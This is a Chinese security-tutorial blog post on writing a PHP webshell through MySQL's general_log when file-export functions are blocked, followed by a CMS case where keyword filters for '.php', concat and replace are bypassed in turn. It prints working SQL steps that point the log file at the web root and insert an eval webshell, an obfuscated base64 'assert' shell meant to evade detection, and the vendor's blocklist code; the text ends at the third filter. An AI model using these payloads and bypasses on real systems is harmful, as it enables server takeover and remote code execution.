【安全科普】SQL语句利用日志写shell及相关绕过

admin

138985
文章

114
评论

2020年11月2日16:44:50评论295 views字数 3554阅读11分50秒阅读模式

网安教育

培养网络安全人才

技术交流、学习咨询

●0x01 基本原理●

在能够写SQL语句的地方，outfile、dumpfile、drop database等都被禁止，一般进行SQL注入来getshell或删库的方式行不通了。

但是如果MySQL是root用户启动的，那么可以进行如下利用：

1show variables like '%general%';  #查看配置
2
3set global general_log = on;  #开启general log模式
4
5set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址
6
7select '<?php eval($_POST[cmd]);?>'  #写入shell

SQL查询免杀shell的语句（参考：SQL语句利用日志写shell）：

1SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

●0x02 Bypass案例●

这个案例虽然鸡肋，但是思路还可以。

>>>>

过滤 .php

代码审计某CMS时，看到一处写SQL语句的地方，此处之前报过漏洞，修复方案是过滤了outfile、dumpfile、drop database等，此外还过滤了.php字符串，为的就是防住SQL语句日志写shell：

 1if(stristr($sql, 'outfile')){
 2    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”！</span>';
 3    break;
 4}
 5if(stristr($sql, 'dumpfile')){
 6    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”！</span>';
 7    break;
 8}
 9if(stristr($sql, '.php')){
10    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” ！</span>';
11    break;
12}
13if(preg_match("/^drop(.*)database/i", $sql)){
14    $str = '<span class="c-red">ERROR : 不允许删除数据库！</span>';
15    break;
16}

这里直接写上述的SQL语句肯定是不行的，因为set global general_log_file = '/var/www/html/1.php';的.php会被过滤掉。

这里只是针对字符串的检测，可以用字符串拼接的方式Bypass，这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass：

1show variables like '%general%';   #查看配置
2
3set global general_log = on;        #开启general log模式
4
5set global general_log_file =CONCAT("/var/www/html/1.","php"); 
6
7select '<?php eval($_POST[cmd]);?>';   #写入shell

>>>>

过滤 .php和concat

在这次报过的漏洞之后，CMS厂商修改了这个洞，就是添加了对concat的字符串过滤，这样concat家族系列函数就使不上了。

 1if(stristr($sql, 'outfile')){
 2    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”！</span>';
 3    break;
 4}
 5if(stristr($sql, 'dumpfile')){
 6    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”！</span>';
 7    break;
 8}
 9if(stristr($sql, '.php')){
10    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” ！</span>';
11    break;
12}
13if(stristr($sql, 'concat')){
14    $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” ！</span>';
15    break;
16}
17    if(preg_match("/^drop(.*)database/i", $sql)){
18    $str = '<span class="c-red">ERROR : 不允许删除数据库！</span>';
19        break;
20}

使用concat进行字符串拼接的方式没法绕过了，但是除了字符串拼接，我们还能使用字符串替换的操作来绕过：

1show variables like '%general%';   #查看配置
2
3set global general_log = on;        #开启general log模式
4
5set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 
6
7select '<?php eval($_POST[cmd]);?>';   #写入shell

>>>>

过滤 .php、concat和replace

CMS厂商收到新的绕过漏洞报告后，又进行新一轮的修复，过滤了replace：

 1if(stristr($sql, 'outfile')){
 2    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”！</span>';
 3    break;
 4}
 5if(stristr($sql, 'dumpfile')){
 6    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”！</span>';
 7    break;
 8}
 9if(stristr($sql, '.php')){
10    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” ！</span>';
11    break;
12}
13if(stristr($sql, 'concat')){
14    $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” ！</span>';
15    break;
16}
17if(stripos($sql, 'replace')){
18$str = '<span class="c-red">ERROR : 检测到非法字符 “replace” ！</span>';
19break;
20}
21if(preg_match("/^drop(.*)database/i", $sql)){
22    $str = '<span class="c-red">ERROR : 不允许删除数据库！</span>';
23    break;
24}